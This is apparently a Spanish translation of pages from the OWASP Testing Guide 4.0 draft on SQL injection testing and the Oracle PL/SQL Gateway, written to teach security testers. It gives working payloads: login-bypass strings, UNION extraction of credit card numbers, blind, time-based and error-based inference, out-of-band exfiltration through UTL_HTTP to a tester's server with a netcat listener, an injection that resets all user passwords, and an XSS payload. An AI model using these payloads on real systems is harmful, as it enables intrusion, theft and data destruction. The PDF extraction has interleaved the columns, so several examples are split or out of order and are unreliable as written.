El primer paso en esta prueba es entender cuando la aplicación interactúa con un servidor de base de datos para tener acceso a algunos datos. Ejemplos típicos de casos cuando una aplicación necesita hablar con una base de datos incluyen:
• Formularios de autenticación: cuando la autenticación se realiza mediante un formulario web, lo más probable es que se comprueban las credenciales del usuario contra una base de datos que contiene los nombres de usuario y contraseñas (o, mejor, hashes de contraseñas). • Buscadores: la cadena enviada por el usuario podría ser utilizada en una consulta SQL que extrae todos los registros relevantes de una base de datos. • Sitios de comercio electrónico: los productos y sus características (precio, descripción, disponibilidad, etc.) muy probablemente están almacenados en una base de datos.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 165
Guia de pruebas 4.0 "Borrador"
El evaluador tiene que hacer una lista de todos los campos de entrada cuyos valores podrían utilizarse en la elaboración de una consulta SQL, incluidos los campos ocultos de las solicitudes POST y luego probarlos por separado, tratando de interferir en la consulta y generar un error. Considere también las cookies y encabezados HTTP.
La primera prueba consiste, generalmente, en agregar una comilla sencilla (') o un punto y coma (;) al campo o parámetro que está bajo análisis. La primera se utiliza en SQL como un terminador de la cadena y, si la aplicación no la filtra, daría lugar a una consulta incorrecta. El segundo se utiliza para terminar una instrucción SQL y, si no se filtra, también es probable que genere un error. El resultado de un campo vulnerable podría parecerse al siguiente (en un Microsoft SQL Server, en este caso):
completo, como en los ejemplos, ofrece una gran cantidad de información al evaluador para montar un ataque de inyección eficaz.
Sin embargo, las aplicaciones a menudo no proporcionan mucho detalle: un simple '500 Server Error' o se emite una página de error personalizado, que significa que necesitamos utilizar técnicas de inyección ciega. En todo caso, es muy importante comprobar cada campo por separado: sólo una variable debe cambiar mientras que todas las otras permanecen constantes, a fin de entender precisamente qué parámetros son vulnerables y cuáles no.
Pruebas de inyección SQL estándar Ejemplo 1 (Inyección SQL Clásica)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’ Considere la siguiente solicitud SQL: [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’
character string ‘’. /target/target.asp, line 113
También delimitadores de comentarios (-- o /* */, etc) y otras palabras SQL claves como 'AND' y 'OR' pueden utilizarse para tratar de modificar la consulta. Una técnica muy simple, pero aún eficaz a veces, es simplemente insertar una cadena donde se espera un número, como un error como el siguiente puede generar:
$username = 1’ or ‘1’ = ‘1
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL converting the
Server Driver][SQL Server]Syntax
Una consulta similar utiliza, generalmente, la aplicación web para autenticar a un usuario. Si la consulta devuelve un valor, significa que dentro de la base de datos un usuario con ese conjunto de credenciales existe; entonces el usuario puede iniciar una sesión en el sistema, de lo contrario el acceso es denegado. Generalmente se obtienen los valores de los campos de entrada del usuario a través de un formulario web. Supongamos que insertamos los siguientes valores de nombre de usuario y contraseña:
error
varchar value ‘test’ to a column of data type int. La consulta será: /target/target.asp, line 113 SELECT * FROM Users WHERE Username=’1’ OR ‘1’ = ‘1’ AND Password=’1’ OR ‘1’ = ‘1’
Supervise todas las respuestas desde el servidor web y eche un vistazo al código fuente HTML/javascript. A veces el error está presente en el interior, pero por algún motivo (por ejemplo: error de javascript, comentarios HTML, etc.) no se presenta al usuario. Un mensaje de error
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 166
Guia de pruebas 4.0 "Borrador"
Suponiendo que los valores de los parámetros se envían al servidor mediante el método GET, y si el dominio del sitio web vulnerable es www.example.com, la solicitud a realizar sería:
$password = foo
http://www.example.com/index.php?username=1’%20or%20’1’%20=%20 ’1&password=1’%20or%20’1’%20=%20’1 (Debido a la inclusión de un comentario delimitador en el valor de $username la parte de la clave de la consulta se omitirá.)
Después de un corto análisis, notamos que la consulta devuelve un valor (o un conjunto de valores) porque la condición siempre es verdadera (o 1=1). De esta manera, el sistema ha autenticado al usuario sin saber el nombre de usuario y contraseña.
La solicitud de URL será:
$password = foo
En algunos sistemas, la primera fila de una tabla de usuarios será un usuario administrador. Esto puede devolver el perfil en algunos casos. Otro ejemplo de consulta es el siguiente:
SELECT * FROM Users WHERE ((Username=’$username’) AND (Password=MD5(‘$password’)))
En este caso hay dos problemas: uno debido al uso de los paréntesis y otro debido al uso de la función de hash MD5. En primer lugar, resolvemos el problema de los paréntesis. Consiste simplemente en añadir un número de paréntesis de cierre hasta que obtenemos una consulta corregida. Para resolver el segundo problema, tratamos de evadir la segunda condición. Añadimos a nuestra consulta un símbolo final que significa que un comentario inicia. De esta manera, todo lo que va a continuación del símbolo es considerado como un comentario. Cada DBMS tiene su propia sintaxis para los comentarios, sin embargo, un símbolo común para la gran mayoría de las bases de datos es /*. En Oracle es el símbolo "--". Dicho esto, los valores que vamos a utilizar como nombre de usuario y contraseña son:
Esto puede devolver un número de valores. A veces, el código de autenticación verifica que el número de registros devueltos y los resultados son exactamente iguales a 1. En los ejemplos anteriores, esta situación sería difícil (en la base de datos hay un solo valor por usuario). Para sortear este problema, basta con insertar un comando SQL que impone una condición que el número de resultados devueltos debe ser uno. (Un registro devuelto) Para alcanzar este objetivo, utilizamos el operador "LIMIT <num>", donde <num> es el número de los resultados y registros que queremos que devuelvan. En relación con el ejemplo anterior, el valor de los campos nombre de usuario y contraseña se modificará como sigue:
$username = 1’ or ‘1’ = ‘1’)) LIMIT 1/*
$password = foo
$username = 1’ or ‘1’ = ‘1’))/* De esta manera, creamos la solicitud siguiente:
$password = foo
De esta forma, tenemos la siguiente consulta:
http://www.example.com/index.php?username=1’%20or%20’1’%20=%20 ’1’))%20LIMIT%201/*&password=foo
Ejemplo 2 (instrucción SELECT simple):
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 167
Guia de pruebas 4.0 "Borrador"
Considere la siguiente consulta SQL:
SELECT * FROM products WHERE id_product=$id_product
Considere tambien una solicitud a un script que ejecuta la consulta anterior:
http://www.example.com/product.php?id=10
Cuando el evaluador intenta un valor válido (por ejemplo, 10 en este caso), la aplicación devolverá la descripción de un producto. Una buena manera de comprobar si la aplicación es vulnerable, en este caso, es jugar con la lógica, utilizando los operadores AND y OR.
Considere la siguiente consulta SQL:
SELECT * FROM products WHERE id_product=$id_product
Una manera de explotar el escenario anterior podría ser:
http://www.example.com/product.php?id=10; INSERT INTO users (…)
De esta manera, es posible ejecutar muchas consultas en línea e independientes de la primera consulta.
Dejando una huella digital en la base de datos Considere la consulta:
http://www.example.com/product.php?id=10 AND 1=2
SELECT * FROM products WHERE id_product=10 AND 1=2
En este caso, probablemente la aplicación devuelva un mensaje diciéndonos que no hay contenido disponible o una página en blanco. Entonces el evaluador puede enviar una instrucción verdadera y comprobar si hay un resultado válido:
http://www.example.com/product.php?id=10 AND 1=1
Incluso el lenguaje SQL es un estándar. Cada DBMS tiene su particularidad, y difieren unos de otros en muchos aspectos como comandos especiales, funciones para recuperar datos como nombres de usuarios y bases de datos, funciones, líneas de comentarios, etc.
Cuando los evaluadores se dirigen hacia una explotación más avanzada de inyección SQL, necesitan saber lo que es la base de datos de acceso restringido (back-end).
1) La primera forma de averiguar para qué sirve una base de datos de acceso restringido es observar el error devuelto por la aplicación. A continuación encontrará algunos ejemplos:
MySql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
Ejemplo 3 (consultas apiladas): Dependiendo de la API que está utilizando la aplicación web y la DBMS (por ejemplo: PHP + PostgreSQL, ASP+SQL SERVER), puede ser posible ejecutar múltiples consultas en una sola llamada.
right syntax to use near ‘\’’ at line 1
Oracle: ORA-00933: SQL command not properly ended
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 168
Guia de pruebas 4.0 "Borrador"
MS SQL Server:
$id=1 UNION CreditCardTable
ALL
SELECT
creditCardNumber,1,1
FROM
Microsoft S L Native Client error ‘80040e14’ Unclosed quotation mark after the character string
Tendremos la siguiente consulta: PostgreSQL: Query failed: ERROR: syntax error at or near “’” at character 56 in /www/site/test.php on line 121.
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
2) Si no hay ningún mensaje de error o hay un mensaje de error personalizado, el evaluador puede intentar inyectar en el campo de la cadena utilizando la técnica de concatenación:
MySql: ‘test’ + ‘ing’ S L Server: ‘test’ ‘ing’ Oracle: ‘test’||’ing’ PostgreS L: ‘test’||’ing’
Lo que unirá el resultado de la consulta original con todos los números de tarjeta de crédito en la tabla CreditCardTable. La palabra clave ALL es necesaria para obtener todas las consultas que utilizan la palabra clave DISTINCT. Por otra parte, se observa que más allá de los números de tarjeta de crédito, hemos seleccionado otros dos valores. Estos dos valores son necesarios, porque las dos consultas deben tener un número igual de parámetros o columnas para evitar un error de sintaxis.
El primer detalle que necesita un evaluador para explotar la vulnerabilidad de inyección SQL al utilizar esta técnica es encontrar los números correctos de columnas en la instrucción SELECT. Técnicas de explotación Técnica de explotación por unión Se utiliza el operador UNION en inyecciones SQL en una consulta, intencionalmente adulterada por el evaluador en la consulta original.
Para ello el evaluador puede utilizar la cláusula ORDER BY seguida por un número que indica la columna de la base de datos seleccionada:
http://www.example.com/product.php?id=10 ORDER BY 10-El resultado de la consulta adulterada se unirá al resultado de la consulta original, permitiendo que el evaluador obtenga los valores de las columnas de otras tablas. Suponga que, para nuestros ejemplos, la consulta ejecutada en el servidor es la siguiente:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
Si la consulta se ejecuta con éxito, el evaluador puede asumir, en este ejemplo, que hay diez o más columnas en la instrucción SELECT. Si la consulta falla, entonces debe haber menos de diez columnas devueltas por la consulta. Si existe un mensaje de error, probablemente sería:
Fijaremos el siguiente valor $id:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 169
Guia de pruebas 4.0 "Borrador"
creado una página de error personalizada que no revela nada sobre la estructura de la consulta o de la base de datos. (La página no devuelve un error SQL; puede simplemente devolver un HTTP 500, 404, o redirect).
Unknown column ‘10’ in ‘order clause’
Después de que el evaluador descubre el número de columnas, el siguiente paso es saber el tipo de columnas. Suponiendo que hubo tres columnas en el ejemplo anterior, el evaluador podría probar cada tipo de columna, usando el valor NULL para ayudarles:
http://www.example.com/product.php?id=10 1,null,null--
UNION
SELECT
Mediante el uso de métodos de inferencia, es posible evitar este obstáculo y así tener éxito en la recuperación de los valores de algunos campos deseados. Este método consiste en llevar a cabo una serie de búsquedas booleanas contra el servidor, observando las respuestas y finalmente deduciendo el significado de tales respuestas. Consideremos, como siempre, el dominio www.example.com y supongamos que contiene un parámetro llamado id, vulnerable a una inyección SQL. Esto significa llevar a cabo la siguiente petición:
http://www.example.com/index.php?id=1’ Si la consulta falla, probablemente el evaluador verá un mensaje como este:
All cells in a column must have the same datatype Obtendrá una página con un mensaje de error personalizado, causado por un error sintáctico en la consulta. Suponga que la consulta ejecutada en el servidor es: Si la consulta se ejecuta con éxito, la primera columna puede ser un número entero. Entonces el evaluador puede continuar con la siguiente:
SELECT field1, field2, field3 FROM Users WHERE Id=’$Id’
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
Después de una recolección exitosa de información, dependiendo de la aplicación, puede mostrar al evaluador únicamente el primer resultado, porque la aplicación maneja solamente la primera línea del resultado. En este caso, es posible utilizar una cláusula LIMIT o el evaluador puede establecer un valor no válido, y no sólo la segunda consulta válida (suponiendo que no hay ninguna entrada en la base de datos cuya ID es 99999):
http://www.example.com/product.php?id=99999 1,1,null--
UNION
que es posible aprovechar mediante los métodos revisados anteriormente. Lo que queremos obtener son los valores del campo Nombre de usuario. Las pruebas que se ejecutan nos permitirán obtener el valor del campo Nombre de usuario, extrayendo el valor carácter por carácter. Esto es posible mediante el uso de algunas funciones estándar, presentes en prácticamente cualquier base de datos. Para nuestros ejemplos, usaremos las siguientes pseudo-funciones:
SELECT SUBSTRING (text, start, length): Devuelve una subcadena a partir de la posición "start" del texto y de la longitud "length". Si "start" es mayor que la longitud del texto, la función devuelve un valor null. ASCII (char): Devuelve un valor ASCII de un carácter ingresado. La función devuelve un valor null.si char es 0.
Técnica de explotación booleana LENGTH (text): Devuelve el número de caracteres en el texto ingresado. La técnica de explotación booleana es muy útil cuando el evaluador encuentra una situación de inyección ciega de SQL (Blind SQL Injection), en la que no se sabe nada sobre el resultado de una operación. Por ejemplo, este comportamiento ocurre en casos donde el programador ha
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 170
Guia de pruebas 4.0 "Borrador"
A través de estas funciones, se ejecutan nuestras pruebas sobre el primer carácter y, cuando hemos descubierto el valor, pasaremos al segundo y así sucesivamente, hasta que haya descubierto el valor completo. Las pruebas aprovecharán la función SUBSTRING para seleccionar solo un carácter a la vez (seleccionar un solo carácter significa imponer el parámetro de longitud en 1) y la función ASCII para obtener el valor ASCII, y así poder hacer una comparación numérica. Los resultados de la comparación se obtendrán revisando los valores de la tabla ASCII, hasta encontrar el valor correcto. Como ejemplo, usaremos el siguiente valor para Id:
$Id=1’ AND ASCII(SUBSTRING(username,1,1))=97 AND ‘1’=’1
Esto crea la siguiente consulta (de ahora en adelante lo llamaremos "consulta de inferencias"): SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND ASCII(SUBSTRING(username,1,1))=97 AND ‘1’=’1’
El ejemplo anterior devuelve un resultado si, y sólo si el primer carácter del campo username (nombre de usuario) es igual al valor ASCII 97. Si obtenemos un valor falso, luego aumentamos el índice de la tabla ASCII de 97 a 98 y repetimos la petición. Si en lugar de ello obtenemos un valor verdadero, fijamos en cero el índice de la tabla ASCII y analizamos el siguiente carácter, modificando los parámetros de la función SUBSTRING. El problema es entender de qué manera podemos distinguir las pruebas que devuelven un valor verdadero de los que devuelven un valor falso. Para ello, creamos una consulta que devuelve siempre falso. Esto es posible utilizando el siguiente valor de identificación:
$Id=1’ AND ‘1’ = ‘2
La respuesta obtenida desde el servidor (que es código HTML) será el valor falso para nuestras pruebas. Esto es suficiente para verificar si el valor obtenido mediante la ejecución de la consulta de inferencias es igual al valor obtenido con la prueba que se ejecutó previamente.
A veces este método no funciona. Si el servidor devuelve dos páginas diferentes como resultado de dos peticiones web consecutivas idénticas, no podremos discernir el valor verdadero del valor falso. En estos casos particulares, es necesario utilizar filtros específicos que nos permiten eliminar el código que cambia entre las dos peticiones y obtener una plantilla. Posteriormente, para cada solicitud de inferencias ejecutada, extraeremos la plantilla relativa de la respuesta usando la misma función, y realizaremos un control entre las dos plantillas para decidir el resultado de la prueba.
En la explicación anterior, no abordamos el problema de determinar la condición de terminación para las pruebas, es decir, cuándo debemos terminar el procedimiento de inferencia.
Una técnica para hacer esto utiliza una característica de la función SUBSTRING y la función LENGTH. Cuando la prueba compara el carácter actual con el código ASCII 0 (es decir, el valor null) y la prueba devuelve el valor true, entonces hemos terminado con el procedimiento de inferencia (hemos analizado la cadena entera), o el valor que hemos analizado contiene el carácter nulo.
Insertaremos el siguiente valor para el campo de identificación:
$Id=1’ AND LENGTH(username)=N AND ‘1’ = ‘1
Donde N es el número de caracteres que hemos analizado hasta ahora (sin contar el valor null) la consulta será: SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND LENGTH(username)=N AND ‘1’ = ‘1’
Lo cual creará la siguente consulta:
SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND ‘1’ = ‘2’
La consulta devuelve true o false (verdadero o falso). Si obtenemos un resultado de verdadero, entonces hemos terminado la inferencia y, por lo
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 171
Guia de pruebas 4.0 "Borrador"
tanto, sabemos el valor del parámetro. Si obtenemos un resultado falso, esto significa que el carácter null está presente en el valor del parámetro, y debemos continuar el análisis del siguiente parámetro hasta encontrarnos con otro valor null.
El ataque ciego de inyección SQL necesita un gran volumen de consultas. El evaluador necesitará una herramienta automática para explotar la vulnerabilidad.
En este ejemplo, el evaluador concatena el valor 10 con el resultado de la función UTL_INADDR.GET_HOST_NAME. Esta función de Oracle intentará devolver el nombre del host del parámetro devuelto, que es otra consulta para el nombre del usuario. Cuando la base de datos busca un nombre de host con el nombre de la base de datos del usuario, fallará y devolverá un mensaje de error como este:
ORA-292257: host SCOTT unknown
Técnica de explotación basada en el error Una técnica de explotación basada en el error es útil cuando el evaluador, por alguna razón, no puede explotar la vulnerabilidad de inyección SQL utilizando otra técnica que podría ser UNION.
La técnica basada en el error consiste en forzar a la base de datos a realizar alguna operación en la que el resultado sea un error.
El evaluador puede manipular el parámetro entregado a la función GET_HOST_NAME() y el resultado se mostrará en el mensaje de error.
Técnica de explotación fuera de banda
El punto aquí es intentar extraer algunos datos de la base de datos y que se muestren en el mensaje de error. Esta técnica de explotación puede ser diferente de un DBMS a otro DBMS (consulte la sección específica sobre DBMS).
Esta técnica es muy útil cuando el evaluador encuentra una situación de Inyección Ciega de SQL, en la que no se sabe nada sobre el resultado de una operación. La técnica consiste en el uso de funciones DBMS para realizar una conexión fuera de banda y entregar los resultados de la consulta inyectada como parte de la solicitud al servidor del evaluador. Como las técnicas basadas en el error, cada DBMS tiene sus propias funciones. Busque la sección específica de DBMS.
Considere la siguiente consulta SQL:
Considere la siguiente consulta SQL:
SELECT * FROM products WHERE id_product=$id_product
Considere también la solicitud a un script que ejecuta la consulta anterior:
http://www.example.com/product.php?id=10
La solicitud maliciosa sería (por ejemplo Oracle 10g):
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOS T_NAME( (SELECT user FROM DUAL) )--
SELECT * FROM products WHERE id_product=$id_product
Considere también la petición a un script que ejecuta la consulta anterior:
http://www.example.com/product.php?id=10
La solicitud maliciosa debería ser: http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testers erver.com:80’||(SELET user FROM DUAL)--
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 172
Guia de pruebas 4.0 "Borrador"
En este ejemplo, el evaluador concatena el valor 10 con el resultado de la función UTL_HTTP.request. Esta función de Oracle intentará conectarse a 'testerserver' y hacer una solicitud HTTP GET que contenga el valor devuelto por la consulta "SELECT user FROM DUAL”. El evaluador puede configurar un servidor web (Apache por ejemplo) o utilizar la herramienta Netcat:
/home/tester/nc –nLp 80 GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close
En este ejemplo, el evaluador comprueba si la versión de MySql es 5.x o no; esto causa que el servidor retrase la respuesta por diez segundos. El probador puede aumentar el tiempo de retraso y monitorear las respuestas.
El evaluador tampoco necesita esperar la respuesta. Puede establecer un valor muy alto (por ejemplo 100) y cancelar la solicitud después de algunos segundos.
Inyección de procedimientos almacenados Técnica de explotación de retraso de tiempo La técnica de explotación booleana es muy útil cuando el evaluador encuentra una situación de inyección ciega de SQL, en la que no se sabe nada sobre el resultado de una operación. Esta técnica consiste en enviar una consulta inyectada y, en caso de que el condicional sea verdadero, el evaluador puede monitorear el tiempo que le toma al servidor responder. Si hay un retraso, el evaluador puede asumir que el resultado de la consulta condicional es verdadero. Esta técnica de explotación puede ser diferente de un DBMS a otro DBMS (consulte la sección específica de DBMS).
Cuando se utiliza un SQL dinámico dentro de un procedimiento almacenado, la aplicación debe desinfectar correctamente el ingreso del usuario para eliminar el riesgo de inyección de código.
Si no se desinfecta, el usuario podría introducir un SQL malicioso que se ejecutará dentro del procedimiento almacenado.
Considere el siguente SQL Server Stored Procedure (Procedimiento Almacenado de SQL Server): Considere la siguiente consulta SQL:
SELECT * FROM products WHERE id_product=$id_product
Considere también la petición a un script que ejecuta la consulta anterior:
Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go
User input: anyusername or 1=1’ anypassword
http://www.example.com/product.php?id=10 Este procedimiento no desinfecta el ingreso, por lo tanto, permite que el valor devuelto muestre un registro existente con esos parámetros.
La solicitud maliciosa sería (por ejemplo MySql 5.x):
NOTA: Este ejemplo puede parecer poco probable debido al uso de un SQL dinámico para iniciar la sesión de un usuario, pero considere una consulta de información dinámica donde el usuario selecciona las columnas que quiere ver.
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))-El usuario podría insertar un código malicioso en este escenario y comprometer los datos. Considere el siguiente SQL Server Stored Procedure
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 173
Guia de pruebas 4.0 "Borrador"
Referencias Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go
• Top 10 2013-A1-Injection
User input:
Páginas específicas de tecnología han sido creadas en la Guía de Pruebas para las siguientes DBMS:
• SQL Injection
• Oracle 1 from users; update users set password = ‘password’; select * • MySQL • SQL Server Esto resulta en la ejecución del informe y que las contraseñas de todos los usuarios sean actualizadas. Libros Blancos Explotación automatizada
• Victor Chapela: “Advanced S L Injection”: owasp.org
La mayoría de las situaciones y técnicas presentadas aquí pueden realizarse de forma automatizada utilizando algunas herramientas. En este artículo, el evaluador puede encontrar información de cómo realizar una auditoría automatizada usando SQLMap: owasp.org
• Chris Anley: “Advanced S L Injection In S L Server Applications”: sparrow.ece.cmu.edu • Chris Anley: “More Advanced S L Injection”: encription.co.uk • David Litchfield: “Data-mining with SQL Injection and Inference”: davidlitchfield.com
Herramientas
• Imperva: “Blinded S L Injection”: imperva.com
• SQL Injection Fuzz Strings (from wfuzz tool): wfuzz.googlecode.com
• Ferruh Mavituna: “S L Injection Cheat Sheet: ferruh.mavituna.com
• OWASP SQLiX
• Kevin Spett from SPI Dynamics: “S L Injection”: docs.google.com
• Francois Larouche: Multiple DBMS SQL Injection tool:
• Kevin Spett from SPI Dynamics: “Blind S L Injection”:
sqlpowerinjector.com net-security.org • Reversing.org: packetstormsecurity.org • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: sqlmap.org Pruebas en Oracle • icesurfer: SQL Server Takeover Tool: sqlninja.sourceforge.net Resumen • Pangolin: Automated SQL Injection Too: nosec.org • Muhaimin Dzulfakar: code.google.com • Antonio Parata: qldumper.ruizata.com
MySqloit,
Dump
Files
MySql
by
SQL
Injection
takeover
inference
on
tool:
Mysql:
Las aplicaciones web basadas en PL/SQL son habilitadas por el Gateway PL/SQL, que es el componente que traduce las solicitudes web en consultas de base de datos. Oracle ha desarrollado una serie de implementos de software, que van desde el primer producto para escuchar en la web al módulo de Apache mod_plsql y al servidor web de base de datos XML (XDB).
• bsqlbf, a blind SQL injection tool in Perl: code.google.com Todos tienen sus propias peculiaridades y problemas, cada uno de los cuales se investigarán detenidamente en este capítulo. Los productos que
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 174
Guia de pruebas 4.0 "Borrador"
utilizan el Gateway PL/SQL incluyen, pero no se limitan tan solo al servidor HTTP de Oracle, eBusiness Suite, Portal, HTMLDB, WebDB y Oracle Application Server.
embargo, la ubicación no es necesariamente /pls. La ausencia de una extensión de archivo en una URL podría indicar la presencia del Gateway PL/SQL de Oracle. Considere la siguiente URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy Cómo probar Cómo funciona el Gateway PL/SQL Esencialmente el Gateway PL/SQL simplemente actúa como un servidor proxy que toma la solicitud del usuario web y se lo pasa al servidor de la base de datos donde se ejecuta.
[1] El servidor web acepta una petición enviada por un cliente web y determina si debe ser procesada por el Gateway PL/SQL. [2] El Gateway PL/SQL procesa la solicitud extrayendo el nombre del paquete solicitado, procedimiento y variables.
Si xxxxx.yyyyy fueron reemplazados con algo a lo largo de las líneas de "ebank.home", "store.welcome", "auth.login", o "books.search," entonces hay una alta probabilidad de que se esté utilizando el Gateway PL/SQL. También es posible preceder el paquete solicitado y el procedimiento con el nombre del usuario que lo posee, es decir, el esquema; en este caso, el usuario es "webuser":
http://www.server.com/pls/xyz/webuser.pkg.proc
[3] El paquete y procedimiento solicitados son envueltos en un bloque de PL/SQL anónimo y enviados al servidor de la base de datos. [4] El servidor de la base de datos ejecuta el procedimiento y envía los resultados al Gateway como HTML. [5] El Gateway envía la respuesta, mediante el servidor web, al cliente.
Es importante entender este punto: el código PL/SQL no existe en el servidor web, sino en el servidor de la base de datos. Esto significa que cualquier debilidad en el Gateway PL/SQL o cualquier debilidad en la aplicación de PL/SQL, cuando se explota, da al atacante un acceso directo al servidor de la base de datos; ninguna cantidad de firewalls evitará esto.
En esta URL, xyz es el descriptor de acceso de la base de datos, o DAD. Un DAD especifica información sobre el servidor de la base de datos para que el Gateway PL/SQL se pueda conectar. Contiene información como la cadena de conección TNS, el ID de usuario y contraseña, los métodos de autenticación y demás. Estos DAD se especifican en el archivo de configuración de Apache dads.conf en las versiones más recientes o en el archivo wdbsvr.app en versiones anteriores. Algunos DAD por defecto son los siguientes:
La URL de las aplicaciones web de PL/SQL son fácilmente reconocibles y, generalmente, comienzan con el siguiente (xyz puede ser cualquier cadena y representa un descriptor de acceso de base de datos, del cual aprenderá más al respecto posteriormente):
http://www.example.com/pls/xyz http://www.example.com/xyz/owa http://www.example.com/xyz/plsql
Mientras que el segundo y el tercero de estos ejemplos representan URL de versiones anteriores del Gateway PL/SQL, la primera es de las versiones más recientes que corren en Apache. En el archivo de configuración de Apache, plsql.conf, /pls es el valor por defecto, especificado como una ubicación controlada por el módulo PLS. Sin
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 175
Guia de pruebas 4.0 "Borrador"
SIMPLEDAD
Oracle-Application-Server-10g
HTMLDB
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
ORASSO
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
SSODAD
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
PORTAL
Oracle-Application-Server-10g/9.0.4.0.0
PORTAL2
Oracle HTTP Server Powered by Apache
PORTAL30
Oracle HTTP Server mod_plsql/3.0.9.8.3a
Powered
by
Apache/1.3.19
(Unix)
Oracle HTTP Server mod_plsql/3.0.9.8.3d
Powered
by
Apache/1.3.19
(Unix)
Oracle HTTP Server mod_plsql/3.0.9.8.5e
Powered
by
Apache/1.3.12
(Unix)
PORTAL30_SSO TEST DAD APP
ONLINE
Cómo determinar si el Gateway PL/SQL funciona Cuando se realiza una evaluación en un servidor, primero que nada es importante saber con qué tecnología está tratando realmente. Si no la conoce aún, por ejemplo, en un escenario de evaluación de Caja Negra, entonces lo primero que debe hacer es descubrir esto. Reconocer una aplicación web PL/SQL es bastante fácil. En primer lugar, como se indicó previamente, está el formato de la URL y su visualización. Más allá de eso hay una serie de pruebas sencillas que pueden realizarse para probar la existencia del Gateway PL/SQL.
Oracle HTTP Server mod_plsql/3.0.9.8.5e
Powered
by
Apache/1.3.12
(Win32)
Oracle HTTP Server mod_plsql/3.0.9.8.3c
Powered
by
Apache/1.3.19
(Win32)
Oracle HTTP Server mod_plsql/3.0.9.8.3b
Powered
by
Apache/1.3.22
(Unix)
Oracle HTTP Server mod_plsql/9.0.2.0.0
Powered
by
Apache/1.3.22
(Unix)
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Encabezados de respuesta del servidor
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Los encabezados de respuesta del servidor web son un buen indicador de si el servidor está ejecutando el Gateway PL/SQL. La siguiente tabla muestra algunos de los encabezados típicos de respuesta del servidor:
Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/9.0.3.1 Oracle HTTP Server
La prueba NULL En PL/S L, “null” es una expresión perfectamente aceptable:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 176
Guia de pruebas 4.0 "Borrador"
SQL> BEGIN
“This page was produced by the PL/S L Cartridge on date” (Esta página fue producida por el cartucho PL/SQL en la fecha)
2 NULL; 3 END;
4 / o
Podemos utilizar esto para probar si el servidor está ejecutando el Gateway PL/SQL. Simplemente tome el DAD y anexe NULL, luego adjunte NOSUCHPROC:
“This page was produced by the PL/S L Cartridge on date” (Esta página fue producida por el cartucho PL/SQL en la fecha)
http://www.example.com/pls/dad/null http://www.example.com/pls/dad/nosuchproc
Si usted no recibe esta respuesta, sino una respuesta de 403 Forbidden, se puede inferir que el Gateway PL/SQL se está ejecutando. Esta es la respuesta que debe recibir en las últimas versiones o sistemas parchados.
Acceda a paquetes de PL/SQL arbitrarios en la base de datos Si el servidor responde con una respuesta 200 OK para la primera y un 404 no encontrado para la segunda, entonces esto indica que el servidor está ejecutando el Gateway PL/SQL.
Acceso al paquete conocido En versiones anteriores del Gateway PL/SQL, es posible acceder directamente a los paquetes que forman el PL/SQL Web Toolkit, tales como los paquetes OWA y HTP. Uno de estos paquetes es el paquete OWA_UTIL, del cual hablaremos más adelante. Este paquete contiene un procedimiento llamado SIGNATURE y simplemente saca en HTML una firma PL/SQL solicitándola así
“This page was produced by the PL/S L Web Toolkit on date” (Esta página fue producida por el conjunto de herramentas web de PL/SQL en la fecha)
Es posible explotar vulnerabilidades en los paquetes de PL/SQL que se encuentran instalados de forma predeterminada en el servidor de base de datos. Cómo hacerlo depende de la versión del Gateway PL/SQL. En versiones anteriores del Gateway PL/SQL, no había nada que detenga a un atacante de acceder a un paquete de PL/SQL arbitrario en el servidor de base de datos. Mencionamos anteriormente el paquete OWA_UTIL. Este puede usarse para ejecutar consultas SQL arbitrarias:
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
Los ataques de script en sitios cruzados pueden lanzarse mediante un paquete HTP.
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert(‘XSS ’)</script> Devuelve la siguiente información en la página web
Claramente esto es peligroso, así que Oracle introdujo una lista de exclusión PLSQL para impedir el acceso directo a dichos procedimientos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 177
Guia de pruebas 4.0 "Borrador"
